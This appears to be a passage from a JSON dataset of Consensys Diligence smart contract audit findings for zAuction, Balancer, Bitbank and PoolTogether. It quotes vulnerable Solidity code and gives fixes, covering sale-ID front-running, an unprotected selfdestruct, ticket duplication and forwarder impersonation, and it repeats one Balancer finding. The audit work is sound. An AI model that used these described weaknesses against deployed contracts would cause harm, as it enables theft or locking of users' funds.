front-runs it to fulfill its own sale (for a random nft he owns) reusing the saleid from Bobs transaction. Since Mallories transaction marks the saleid as consumed it terminates Alie s offer and hence Bob cannot buy the token as the transaction will revert. Recommendation Consider using keccak(saleid+nftcontract+nfttokenid) as the unique sale/auction identifier instead, or alternatively associate the bidder address with the auctionId (require that consumed[bidder][auctionId]== false) ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.9 zAuction - hardcoded ropsten token address ", "body": " Resolution Addressed with zer0-os/zAuction@135b2aa and the following statement: ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.30 weth address in constructor", "body": " Note: does not perform input validation as recommended Description The auction contract hardcodes the WETH ERC20 token address. this address will not be functional when deploying to mainnet. Examples zAuction/contracts/zAuction.sol:L15-L16 IERC20 weth = IERC20(address(0xc778417E063141139Fce010982780140Aa0cD5Ab)); // rinkeby weth Recommendation Consider taking the used WETH token address as a constructor argument. Avoid code changes to facilitate testing! Perform input validation on arguments rejecting address(0x0) to facilitate the detection of potential misconfiguration in the deployment pipeline. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.10 zAuction - accountant allows zero value withdrawals/deposits/exchange ", "body": " Resolution Obsolete. The affected component has been removed from the system with zer0-os/zAuction@135b2aa. Description Zero value transfers effectively perform a no-operation sometimes followed by calling out to the recipient of the withdrawal. A transfer where from==to or where the value is 0 is ineffective. Examples zAuction/contracts/zAuctionAccountant.sol:L38-L42 function Withdraw(uint256 amount) external { ethbalance[msg.sender] = SafeMath.sub(ethbalance[msg.sender], amount); payable(msg.sender).transfer(amount); emit Withdrew(msg.sender, amount); zAuction/contracts/zAuctionAccountant.sol:L33-L36 function Deposit() external payable { ethbalance[msg.sender] = SafeMath.add(ethbalance[msg.sender], msg.value); emit Deposited(msg.sender, msg.value); zAuction/contracts/zAuctionAccountant.sol:L44-L58 function zDeposit(address to) external payable onlyZauction { ethbalance[to] = SafeMath.add(ethbalance[to], msg.value); emit zDeposited(to, msg.value); function zWithdraw(address from, uint256 amount) external onlyZauction { ethbalance[from] = SafeMath.sub(ethbalance[from], amount); emit zWithdrew(from, amount); function Exchange(address from, address to, uint256 amount) external onlyZauction { ethbalance[from] = SafeMath.sub(ethbalance[from], amount); ethbalance[to] = SafeMath.add(ethbalance[to], amount); emit zExchanged(from, to, amount); Recommendation Consider rejecting ineffective withdrawals (zero value) or at least avoid issuing a zero value ETH transfers. Avoid emitting successful events for ineffective calls to not trigger 3rd party components on noop s. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.11 zAuction - seller should not be able to accept their own bid ", "body": " Resolution Addressed with zer0-os/zAuction@135b2aa by disallowing the seller to accept their own bid. The client provided the following note: ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.28 seller != buyer required", "body": " Description A seller can accept their own bid which is an ineffective action that is emitting an event. Examples zAuction/contracts/zAuction.sol:L35-L56 function acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); accountant.Exchange(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); /// @dev 'true' in the hash here is the eth/weth switch function acceptWethBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid, true))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); weth.transferFrom(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit WethBidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); Recommendation Disallow transfers to self. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zauction/"}, {"title": "5.1 Similar token-to-token swap methods can yield very different results ", "body": " Description BPool s interface exposes several methods to perform token swaps. Because the formula used to calculate trade values varies depending on the method, we compared token swaps performed using two different methods: BPool.swapExactAmountIn performs a direct token-to-token swap between two bound assets within the pool. Some amount tokenAmountIn of tokenIn is directly traded for some minimum amount minAmountOut of tokenOut. An additional parameter, maxPrice, allows the trader to specify the maximum amount of slippage allowed during the trade. BPool.joinswapExternAmountIn allows a trader to exchange an amount tokenAmountIn of tokenIn for a minimum amount minPoolAmountOut of the pool s token. A subsequent call to BPool.exitswapPoolAmountIn allows a trader to exchange amount poolAmountIn of the pool s tokens for a minimum amount minAmountOut of tokenOut. While the latter method performs a swap by way of the pool s token as an intermediary, both methods can be used in order to perform a token-to-token swap. Our comparison between the two tested the relative amount tokenAmountOut of tokenOut between the two methods with a variety of different parameters. Examples Each example made use of a testing contract, found here: https://gist.github.com/wadeAlexC/12ee22438e8028f5439c5f0faaf9b7f7 Additionally, BPool was modified; unneeded functions were removed so that deployment did not exceed the block gas limit. 1. tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (50 BONE) tokenAmountIn: 1 BONE swapExactAmountIn tokenAmountOut: 980391195693945000 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 980391186207949598 Result: swapExactAmountIn gives 1.00000001x more tokens 2. tokenIn weight: 1 BONE tokenOut weight: 49 BONE tokenIn, tokenOut at equal balances (50 BONE) tokenAmountIn: 1 BONE swapExactAmountIn tokenAmountOut: 20202659955287800 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 20202659970818843 Result: joinswap/exitswap gives 1.00000001x more tokens 3. tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (1 BONE) tokenAmountIn: 0.5 BONE swapExactAmountIn tokenAmountOut: 333333111111037037 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 333333055579388951 Result: swapExactAmountIn gives 1.000000167x more tokens 4. tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (30 BONE) tokenAmountIn: 15 BONE swapExactAmountIn tokenAmountOut: 9999993333331111110 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 9999991667381668530 Result: swapExactAmountIn gives 1.000000167x more tokens The final test raised the swap fee from MIN_FEE (0.0001%) to MAX_FEE (10%): tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (30 BONE) tokenAmountIn: 15 BONE swapExactAmountIn tokenAmountOut: 9310344827586206910 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 9177966102628338740 Result: swapExactAmountIn gives 1.014423536x more tokens Recommendation Our final test showed that with equivalent balances and weights, raising the swap fee to 10% had a drastic effect on relative tokenAmountOut received, with swapExactAmountIn yielding >1.44% more tokens than the joinswap/exitswap method. Reading through Balancer s provided documentation, our assumption was that these two swap methods were roughly equivalent. Discussion with Balancer clarified that the joinswap/exitswap method applied two swap fees: one for single asset deposit, and one for single asset withdrawal. With the minimum swap fee, this double application proved to have relatively little impact on the difference between the two methods. In fact, some parameters resulted in higher relative yield from the joinswap/exitswap method. With the maximum swap fee, the double application was distinctly noticeable. Given the relative complexity of the math behind BPools, there is much that remains to be tested. There are alternative swap methods, as well as numerous additional permutations of parameters that could be used; these tests were relatively narrow in scope. We recommend increasing the intensity of unit testing to cover a more broad range of interactions with BPool s various swap methods. In particular, the double application of the swap fee should be examined, as well as the differences between low and high swap fees. Those using BPool should endeavor to understand as much of the underlying math as they can, ensuring awareness of the various options available for performing trades. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/balancer-finance/"}, {"title": "5.2 Commented code exists in BMath ", "body": " Description There are some instances of code being commented out in the BMath.sol that should be removed. It seems that most of the commented code is related to exit fee, however this is in contrast to BPool.sol code base that still has the exit fee code flow, but uses 0 as the fee. Examples code/contracts/BMath.sol:L137-L140 uint tokenInRatio = bdiv(newTokenBalanceIn, tokenBalanceIn); // uint newPoolSupply = (ratioTi ^ weightTi) * poolSupply; uint poolRatio = bpow(tokenInRatio, normalizedWeight); code/contracts/BMath.sol:L206-L209 uint normalizedWeight = bdiv(tokenWeightOut, totalWeight); // charge exit fee on the pool token side // pAiAfterExitFee = pAi*(1-exitFee) uint poolAmountInAfterExitFee = bmul(poolAmountIn, bsub(BONE, EXIT_FEE)); And many more examples. Recommendation Remove the commented code, or address them properly. If the code is related to exit fee, which is considered to be 0 in this version, this style should be persistent in other contracts as well. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/05/balancer-finance/"}, {"title": "5.3 Max weight requirement in rebind is inaccurate ", "body": " Description BPool.rebind enforces MIN_WEIGHT and MAX_WEIGHT bounds on the passed-in denorm value: code/contracts/BPool.sol:L262-L274 function rebind(address token, uint balance, uint denorm) public _logs_ _lock_ require(msg.sender == _controller, \"ERR_NOT_CONTROLLER\"); require(_records[token].bound, \"ERR_NOT_BOUND\"); require(!_finalized, \"ERR_IS_FINALIZED\"); require(denorm >= MIN_WEIGHT, \"ERR_MIN_WEIGHT\"); require(denorm <= MAX_WEIGHT, \"ERR_MAX_WEIGHT\"); require(balance >= MIN_BALANCE, \"ERR_MIN_BALANCE\"); MIN_WEIGHT is 1 BONE, and MAX_WEIGHT is 50 BONE. Though a token weight of 50 BONE may make sense in a single-token system, BPool is intended to be used with two to eight tokens. The sum of the weights of all tokens must not be greater than 50 BONE. This implies that a weight of 50 BONE for any single token is incorrect, given that at least one other token must be present. Recommendation MAX_WEIGHT for any single token should be MAX_WEIGHT - MIN_WEIGHT, or 49 BONE. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/05/balancer-finance/"}, {"title": "5.4 Switch modifier order in BPool ", "body": " Description BPool functions often use modifiers in the following order: _logs_, _lock_. Because _lock_ is a reentrancy guard, it should take precedence over _logs_. See example: Recommendation Place _lock_ before other modifiers; ensuring it is the very first and very last thing to run when a function is called. 6 Document Change Log ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/05/balancer-finance/"}, {"title": "1.0", "body": "0000001x more tokens 2. tokenIn weight: 1 BONE tokenOut weight: 49 BONE tokenIn, tokenOut at equal balances (50 BONE) tokenAmountIn: 1 BONE swapExactAmountIn tokenAmountOut: 20202659955287800 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 20202659970818843 Result: joinswap/exitswap gives 1.00000001x more tokens 3. tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (1 BONE) tokenAmountIn: 0.5 BONE swapExactAmountIn tokenAmountOut: 333333111111037037 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 333333055579388951 Result: swapExactAmountIn gives 1.000000167x more tokens 4. tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (30 BONE) tokenAmountIn: 15 BONE swapExactAmountIn tokenAmountOut: 9999993333331111110 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 9999991667381668530 Result: swapExactAmountIn gives 1.000000167x more tokens The final test raised the swap fee from MIN_FEE (0.0001%) to MAX_FEE (10%): tokenIn weight: 25 BONE tokenOut weight: 25 BONE tokenIn, tokenOut at equal balances (30 BONE) tokenAmountIn: 15 BONE swapExactAmountIn tokenAmountOut: 9310344827586206910 joinswapExternAmountIn + exitSwapPoolAmountIn tokenAmountOut: 9177966102628338740 Result: swapExactAmountIn gives 1.014423536x more tokens Recommendation Our final test showed that with equivalent balances and weights, raising the swap fee to 10% had a drastic effect on relative tokenAmountOut received, with swapExactAmountIn yielding >1.44% more tokens than the joinswap/exitswap method. Reading through Balancer s provided documentation, our assumption was that these two swap methods were roughly equivalent. Discussion with Balancer clarified that the joinswap/exitswap method applied two swap fees: one for single asset deposit, and one for single asset withdrawal. With the minimum swap fee, this double application proved to have relatively little impact on the difference between the two methods. In fact, some parameters resulted in higher relative yield from the joinswap/exitswap method. With the maximum swap fee, the double application was distinctly noticeable. Given the relative complexity of the math behind BPools, there is much that remains to be tested. There are alternative swap methods, as well as numerous additional permutations of parameters that could be used; these tests were relatively narrow in scope. We recommend increasing the intensity of unit testing to cover a more broad range of interactions with BPool s various swap methods. In particular, the double application of the swap fee should be examined, as well as the differences between low and high swap fees. Those using BPool should endeavor to understand as much of the underlying math as they can, ensuring awareness of the various options available for performing trades. 5.2 Commented code exists in BMath Minor Description There are some instances of code being commented out in the BMath.sol that should be removed. It seems that most of the commented code is related to exit fee, however this is in contrast to BPool.sol code base that still has the exit fee code flow, but uses 0 as the fee. Examples code/contracts/BMath.sol:L137-L140 uint tokenInRatio = bdiv(newTokenBalanceIn, tokenBalanceIn); // uint newPoolSupply = (ratioTi ^ weightTi) * poolSupply; uint poolRatio = bpow(tokenInRatio, normalizedWeight); code/contracts/BMath.sol:L206-L209 uint normalizedWeight = bdiv(tokenWeightOut, totalWeight); // charge exit fee on the pool token side // pAiAfterExitFee = pAi*(1-exitFee) uint poolAmountInAfterExitFee = bmul(poolAmountIn, bsub(BONE, EXIT_FEE)); And many more examples. Recommendation Remove the commented code, or address them properly. If the code is related to exit fee, which is considered to be 0 in this version, this style should be persistent in other contracts as well. 5.3 Max weight requirement in rebind is inaccurate Minor Description BPool.rebind enforces MIN_WEIGHT and MAX_WEIGHT bounds on the passed-in denorm value: code/contracts/BPool.sol:L262-L274 function rebind(address token, uint balance, uint denorm) public _logs_ _lock_ require(msg.sender == _controller, \"ERR_NOT_CONTROLLER\"); require(_records[token].bound, \"ERR_NOT_BOUND\"); require(!_finalized, \"ERR_IS_FINALIZED\"); require(denorm >= MIN_WEIGHT, \"ERR_MIN_WEIGHT\"); require(denorm <= MAX_WEIGHT, \"ERR_MAX_WEIGHT\"); require(balance >= MIN_BALANCE, \"ERR_MIN_BALANCE\"); MIN_WEIGHT is 1 BONE, and MAX_WEIGHT is 50 BONE. Though a token weight of 50 BONE may make sense in a single-token system, BPool is intended to be used with two to eight tokens. The sum of the weights of all tokens must not be greater than 50 BONE. This implies that a weight of 50 BONE for any single token is incorrect, given that at least one other token must be present. Recommendation MAX_WEIGHT for any single token should be MAX_WEIGHT - MIN_WEIGHT, or 49 BONE. 5.4 Switch modifier order in BPool Minor Description BPool functions often use modifiers in the following order: _logs_, _lock_. Because _lock_ is a reentrancy guard, it should take precedence over _logs_. See example: Recommendation Place _lock_ before other modifiers; ensuring it is the very first and very last thing to run when a function is called. 6 Document Change Log 1.0 2020-05-15 Initial report ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/05/balancer-finance/"}, {"title": "5.1 ERC20 tokens with no return value will fail to transfer ", "body": " Resolution This issue was addressed using OpenZeppelin s SafeERC20. Description Although the ERC20 standard suggests that a transfer should return true on success, many tokens are non-compliant in this regard. In that case, the .transfer() call here will revert even if the transfer is successful, because solidity will check that the RETURNDATASIZE matches the ERC20 interface. code/contracts/ExchangeDeposit.sol:L229-L231 if (!instance.transfer(getSendAddress(), forwarderBalance)) { revert('Could not gather ERC20'); Recommendation Consider using OpenZeppelin s SafeERC20. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/11/bitbank/"}, {"title": "5.1 PeriodicPrizeStrategy - RNG failure can lock user funds ", "body": " Description To prevent manipulation of the SortitionSumTree after a requested random number enters the mempool, users are unable to withdraw funds while the strategy contract waits on a random number request between execution of startAward() and completeAward(). If an rng request fails, however, there is no way to exit this locked state. After an rng request times out, only startAward() can be called, which will make another rng request and re-enter the same locked state. The rng provider can also not be updated while the contract is in this state. If the rng provider fails permanently, user funds are permanently locked. Examples requireNotLocked() prevents transfers, deposits, or withdrawals when there is a pending award. code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L282-L285 function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external override onlyPrizePool { if (controlledToken == address(ticket)) { _requireNotLocked(); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L528-L531 function _requireNotLocked() internal view { uint256 currentBlock = _currentBlock(); require(rngRequest.lockBlock == 0 || currentBlock < rngRequest.lockBlock, \"PeriodicPrizeStrategy/rng-in-flight\"); setRngService() reverts if there is a pending or timed-out rng request code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L413-L414 function setRngService(RNGInterface rngService) external onlyOwner { require(!isRngRequested(), \"PeriodicPrizeStrategy/rng-in-flight\"); Recommendation Instead of forcing the pending award phase to be re-entered in the event of an rng request time-out, provide an exitAwardPhase() function that ends the award phase without paying out the award. This will at least allow users to withdraw their funds in the event of a catastrophic failure of the rng service. It may also be prudent to allow the rng service to be updated in the event of an rng request time out. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.2 LootBox - Unprotected selfdestruct in proxy implementation ", "body": " Description When the LootBoxController is deployed, it also deploys an instance of LootBox. When someone calls LootBoxController.plunder() or LootBoxController.executeCall() the controller actually deploys a temporary proxy contract to a deterministic address using create2, then calls out to it to collect the loot. The LootBox implementation contract is completely unprotected, exposing all its functionality to any actor on the blockchain. The most critical functionality is actually the LootBox.destroy() method that calls selfdestruct() on the implementation contract. Therefore, an unauthenticated user can selfdestruct the LootBox proxy implementation and cause the complete system to become dysfunctional. As an effect, none of the AirDrops that were delivered based on this contract will be redeemable (Note: create2 deploy address is calculated from the current contract address and salt). Funds may be lost. Examples code/loot-box/contracts/LootBoxController.sol:L28-L31 constructor () public { lootBoxActionInstance = new LootBox(); lootBoxActionBytecode = MinimalProxyLibrary.minimalProxy(address(lootBoxActionInstance)); code/loot-box/contracts/LootBox.sol:L86-L90 /// @notice Destroys this contract using `selfdestruct` /// @param to The address to send remaining Ether to function destroy(address payable to) external { selfdestruct(to); not in scope but listed for completeness code/pool/contracts/counterfactual-action/CounterfactualAction.sol:L7-L21 contract CounterfactualAction { function depositTo(address payable user, PrizePool prizePool, address output, address referrer) external { IERC20 token = IERC20(prizePool.token()); uint256 amount = token.balanceOf(address(this)); token.approve(address(prizePool), amount); prizePool.depositTo(user, amount, output, referrer); selfdestruct(user); function cancel(address payable user, PrizePool prizePool) external { IERC20 token = IERC20(prizePool.token()); token.transfer(user, token.balanceOf(address(this))); selfdestruct(user); Recommendation Enforce that only the deployer of the contract can call functionality in the contract. Make sure that nobody can destroy the implementation of proxy contracts. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.3 Ticket duplication ", "body": " Description Ticket._beforeTokenTransfer() contains logic to update the SortitionSumTree from which prize winners are drawn. In the case where the from address is the same as the to address, tickets are duplicated rather than left unchanged. This allows any attacker to duplicate their tickets with no limit and virtually guarantee that they will win all awarded prizes. code/pool/contracts/token/Ticket.sol:L71-L79 if (from != address(0)) { uint256 fromBalance = balanceOf(from).sub(amount); sortitionSumTrees.set(TREE_KEY, fromBalance, bytes32(uint256(from))); if (to != address(0)) { uint256 toBalance = balanceOf(to).add(amount); sortitionSumTrees.set(TREE_KEY, toBalance, bytes32(uint256(to))); This code was outside the scope of our review but was live on mainnet at the time the issue was disovered. We immediately made the client aware of the issue and an effort was made to mitigate the impact on the existing deployment. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.4 PeriodicPriceStrategy - trustedForwarder can impersonate any msg.sender ", "body": " Description The centralization of power to allow one account to impersonate other components and roles (owner, listener, prizePool) in the system is a concern by itself and may give users pause when deciding whether to trust the contract system. The fact that the trustedForwarder can spoof events for any msg.sender may also make it hard to keep an accurate log trail of events in case of a security incident. Note: The same functionality seems to be used in ControlledToken and other contracts which allows the trustedForwarder to assume any tokenholder in ERC20UpgradeSafe. There is practically no guarantee to ControlledToken holders. Note: The trustedForwarder/msgSender() pattern is used in multiple contracts, many of which are not in the scope of this assessment. Examples access control modifiers that can be impersonated code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L588-L591 modifier onlyPrizePool() { require(_msgSender() == address(prizePool), \"PeriodicPrizeStrategy/only-prize-pool\"); _; code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L565-L568 modifier onlyOwnerOrListener() { require(_msgSender() == owner() || _msgSender() == address(periodicPrizeStrategyListener), \"PeriodicPrizeStrategy/only-owner-or-listener\"); _; event msg.sender that can be spoofed because the actual msg.sender can be trustedForwarder code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L164-L164 emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L340-L340 emit PrizePoolAwardStarted(_msgSender(), address(prizePool), requestId, lockBlock); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L356-L357 emit PrizePoolAwarded(_msgSender(), randomNumber); emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); _msgSender() implementation allows the trustedForwarder to impersonate any msg.sender address code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L541-L551 /// @dev Provides information about the current execution context for GSN Meta-Txs. /// @return The payable address of the message sender function _msgSender() internal override(BaseRelayRecipient, ContextUpgradeSafe) virtual view returns (address payable) return BaseRelayRecipient._msgSender(); // File: @opengsn/gsn/contracts/BaseRelayRecipient.sol ... /** return the sender of this call. if the call came through our trusted forwarder, return the original sender. otherwise, return `msg.sender`. should be used in the contract anywhere instead of msg.sender / function _msgSender() internal override virtual view returns (address payable ret) { if (msg.data.length >= 24 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } else { return msg.sender; Recommendation Remove the trustedForwarder or restrict the type of actions the forwarder can perform and don t allow it to impersonate other components in the system. Make sure users understand the trust assumptions and who has what powers in the system. Make sure to keep an accurate log trail of who performed which action on whom s behalf. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.5 Unpredictable behavior for users due to admin front running or general bad timing ", "body": " Description In a number of cases, administrators of contracts can update or upgrade things in the system without warning. This has the potential to violate a security goal of the system. Specifically, privileged roles could use front running to make malicious changes just ahead of incoming transactions, or purely accidental negative effects could occur due to unfortunate timing of changes. In general users of the system should have assurances about the behavior of the action they re about to take. Examples An administrator (deployer) of MultipleWinners can change the number of winners in the system without warning. This has the potential to violate a security goal of the system. admin can change the number of winners during a prize-draw period code/pool/contracts/prize-strategy/multiple-winners/MultipleWinners.sol:L38-L42 function setNumberOfWinners(uint256 count) external onlyOwner { __numberOfWinners = count; emit NumberOfWinnersSet(count); PeriodicPriceStrategy - admin may switch-out RNG service at any time (when RNG is not in inflight or timed-out) code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L413-L418 function setRngService(RNGInterface rngService) external onlyOwner { require(!isRngRequested(), \"PeriodicPrizeStrategy/rng-in-flight\"); rng = rngService; emit RngServiceUpdated(address(rngService)); PeriodicPriceStrategy - admin can effectively disable the rng request timeout by setting a high value during a prize-draw (e.g. to indefinitely block payouts) code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L420-L422 function setRngRequestTimeout(uint32 _rngRequestTimeout) external onlyOwner { _setRngRequestTimeout(_rngRequestTimeout); PeriodicPriceStrategy - admin may set new tokenListener which might intentionally block token-transfers code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L175-L179 function setTokenListener(TokenListenerInterface _tokenListener) external onlyOwner { tokenListener = _tokenListener; emit TokenListenerUpdated(address(tokenListener)); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L360-L364 function setPeriodicPrizeStrategyListener(address _periodicPrizeStrategyListener) external onlyOwner { periodicPrizeStrategyListener = PeriodicPrizeStrategyListener(_periodicPrizeStrategyListener); emit PeriodicPrizeStrategyListenerSet(_periodicPrizeStrategyListener); out of scope but mentioned as a relevant example: PrizePool owner can set new PrizeStrategy at any time code/pool/contracts/prize-pool/PrizePool.sol:L1003-L1008 /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy function setPrizeStrategy(address _prizeStrategy) external override onlyOwner { _setPrizeStrategy(TokenListenerInterface(_prizeStrategy)); a malicious admin may remove all external ERC20/ERC721 token awards prior to the user claiming them (admin front-running opportunity) code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L461-L464 function removeExternalErc20Award(address _externalErc20, address _prevExternalErc20) external onlyOwner { externalErc20s.removeAddress(_prevExternalErc20, _externalErc20); emit ExternalErc20AwardRemoved(_externalErc20); code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L506-L510 function removeExternalErc721Award(address _externalErc721, address _prevExternalErc721) external onlyOwner { externalErc721s.removeAddress(_prevExternalErc721, _externalErc721); delete externalErc721TokenIds[_externalErc721]; emit ExternalErc721AwardRemoved(_externalErc721); the PeriodicPrizeStrategy owner (also see concerns outlined in issue 5.4) can transfer external ERC20 at any time to avoid them being awarded to users. there is no guarantee to the user. code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L517-L526 function transferExternalERC20( address to, address externalToken, uint256 amount external onlyOwner prizePool.transferExternalERC20(to, externalToken, amount); Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, make all system-parameter and upgrades require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. This allows users that do not accept the change to withdraw immediately. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.6 PeriodicPriceStrategy - addExternalErc721Award duplicate or invalid tokenIds may block award phase ", "body": " Description The prize-strategy owner (or a listener) can add ERC721 token awards by calling addExternalErc721Award providing the ERC721 token address and a list of tokenIds owned by the prizePool. The method does not check if duplicate tokenIds or tokenIds that are not owned by the contract are provided. This may cause an exception when _awardExternalErc721s calls prizePool.awardExternalERC721 to transfer an invalid or previously transferred token, blocking the award phase. Note: An admin can recover from this situation by removing and re-adding the ERC721 token from the awards list. Examples adding tokenIds code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L478-L499 /// @notice Adds an external ERC721 token as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// NOTE: The NFT must already be owned by the Prize-Pool /// @param _externalErc721 The address of an ERC721 token to be awarded /// @param _tokenIds An array of token IDs of the ERC721 to be awarded function addExternalErc721Award(address _externalErc721, uint256[] calldata _tokenIds) external onlyOwnerOrListener { // require(_externalErc721.isContract(), \"PeriodicPrizeStrategy/external-erc721-not-contract\"); require(prizePool.canAwardExternal(_externalErc721), \"PeriodicPrizeStrategy/cannot-award-external\"); if (!externalErc721s.contains(_externalErc721)) { externalErc721s.addAddress(_externalErc721); for (uint256 i = 0; i < _tokenIds.length; i++) { uint256 tokenId = _tokenIds[i]; require(IERC721(_externalErc721).ownerOf(tokenId) == address(prizePool), \"PeriodicPrizeStrategy/unavailable-token\"); externalErc721TokenIds[_externalErc721].push(tokenId); emit ExternalErc721AwardAdded(_externalErc721, _tokenIds); awarding tokens code/pool/contracts/prize-strategy/PeriodicPrizeStrategy.sol:L248-L263 /// @notice Awards all external ERC721 tokens to the given user. /// The external tokens must be held by the PrizePool contract. /// @dev The list of ERC721s is reset after every award /// @param winner The user to transfer the tokens to function _awardExternalErc721s(address winner) internal { address currentToken = externalErc721s.start(); while (currentToken != address(0) && currentToken != externalErc721s.end()) { uint256 balance = IERC721(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[currentToken]); delete externalErc721TokenIds[currentToken]; currentToken = externalErc721s.next(currentToken); externalErc721s.clearAll(); transferring the tokens code/pool/contracts/prize-pool/PrizePool.sol:L582-L606 /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds external override onlyPrizeStrategy require(_canAwardExternal(externalToken), \"PrizePool/invalid-external-token\"); if (tokenIds.length == 0) { return; for (uint256 i = 0; i < tokenIds.length; i++) { IERC721(externalToken).transferFrom(address(this), to, tokenIds[i]); emit AwardedExternalERC721(to, externalToken, tokenIds); Recommendation Ensure that no duplicate token-ids were provided or skip over token-ids that are not owned by prize-pool (anymore). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/11/pooltogether-lootbox-and-multiplewinners-strategy/"}, {"title": "5.7 PeriodicPrizeStrategy - Token with callback related warnings (ERC777 a.o.) ", "body": " Description This issue is highly dependent on the configuration of the system. If an admin decides to allow callback enabled token 